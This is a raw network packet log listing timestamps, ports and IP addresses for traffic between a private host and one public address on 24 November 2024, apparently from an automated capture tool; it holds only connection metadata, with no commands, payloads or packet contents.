Nov 24, 2024 12:10:08.551022053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.551095009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.552181959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.552246094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.552297115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.552948952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.553010941 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.553061962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.553765059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.553864956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.553915024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.554995060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.555129051 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.555185080 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.556245089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.556397915 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.556452990 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.557569027 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.557693958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.557749033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.558768034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.558888912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.558933973 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.560009956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.560112000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.560178041 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.561258078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.561392069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.561439037 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.562537909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.562628984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.562673092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.563776016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.563910961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.563957930 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.565104008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.565191031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.565243006 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.566273928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.566445112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.566488981 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.567528009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.567642927 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.567699909 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.568783045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.568835020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.568902016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.570036888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.570143938 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.570192099 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.571293116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.571400881 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.571450949 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.572542906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.572690010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.572762966 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.573810101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.573920965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.573966026 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.575047970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.575167894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.575218916 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.576292038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.576433897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.576491117 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.577564001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.577688932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.577748060 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.578799963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.578905106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.578968048 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.580054045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.580163956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.580213070 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.581329107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.581422091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.581490040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.582602978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.582746983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.582797050 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.583844900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.583914042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.583962917 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.585021973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.624547958 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.731040955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.731079102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.731185913 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.731549025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.731662035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.731717110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.732867956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.733207941 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.733275890 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.733344078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.734594107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.734639883 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.734695911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.735814095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.735858917 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.735897064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.736965895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.737010002 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.737188101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.738482952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.738550901 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.738617897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.739481926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.739547014 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.739590883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.740762949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.740833998 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.740842104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.742013931 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.742079020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.742099047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.743235111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.743274927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.743341923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.744513035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.744554996 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.744582891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.745771885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.745821953 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.745850086 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.747042894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.747081995 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.747142076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.748296976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.748338938 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.748394012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.749596119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.749634027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.749731064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.750889063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.750952005 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.750955105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.752011061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.752058983 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.752146006 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.753256083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.753295898 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.753376007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.754611015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.754650116 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.754676104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.755783081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.755820990 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.755877018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.757044077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.757083893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.757133961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.758277893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.758316994 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.758450985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.759529114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.759567022 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.759634972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.760787010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.760826111 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.760874987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.762090921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.762130976 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.762132883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.763289928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.763329983 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.763386965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.764626026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.764667988 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.764717102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.765799046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.765839100 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.765932083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.767066956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.767106056 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.767158031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.768327951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.768399000 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.768433094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.769556999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.769599915 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.769670010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.770813942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.770868063 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.770930052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.772130013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.772171021 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.772178888 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.773305893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.773351908 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.773420095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.774728060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.774769068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.774796963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.775821924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.775860071 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.775923967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.777092934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.777131081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.777184010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.778320074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.778362036 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.778419971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.779623985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.779663086 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.779722929 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.780848026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.780889988 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.780941963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.782145977 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.782210112 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.782218933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.783344030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.783387899 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.783543110 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.784599066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.784641027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.784707069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.785866022 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.785907984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.785964966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.787175894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.787215948 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.787276983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.788372040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.788414955 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.788464069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.789649963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.789691925 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.789727926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.790909052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.790946960 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.791027069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.792171001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.792216063 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.792284012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.793387890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.793430090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.793478012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.794666052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.794703960 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.794800997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.795880079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.795922041 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.795937061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.843266964 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.943948030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.943965912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.944056034 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.944166899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.944240093 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.944281101 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.945518970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.945708036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.945776939 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.946928978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.946943045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.946988106 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.947962999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.948124886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.948163033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.949220896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.949233055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.949273109 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.950470924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.950484037 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.950537920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.951459885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.951592922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.951633930 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.952714920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.952819109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.952858925 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.953980923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.954113007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.954154968 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.955229044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.955318928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.955357075 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.956473112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.956594944 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.956634998 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.957746983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.957844019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.957889080 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.958992004 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.959104061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.959146976 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.960275888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.960432053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.960474014 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.963190079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.963855982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.963901997 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.964289904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.964301109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.964313030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.964323997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.964370966 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.964406013 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.965565920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.965694904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.965732098 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.966861963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.967010975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.967051029 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.968081951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.968235970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.968276024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.969253063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.969405890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.969448090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.970459938 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.970788956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.970828056 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.971827984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.971954107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.971992016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.972978115 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.973119020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.973160982 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.974368095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.974510908 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.974554062 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.975595951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.975771904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.975817919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.976830959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.976849079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.976906061 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:08.978137970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.978296995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:08.978343010 CET	49733	8397	192.168.2.4	194.15.46.236
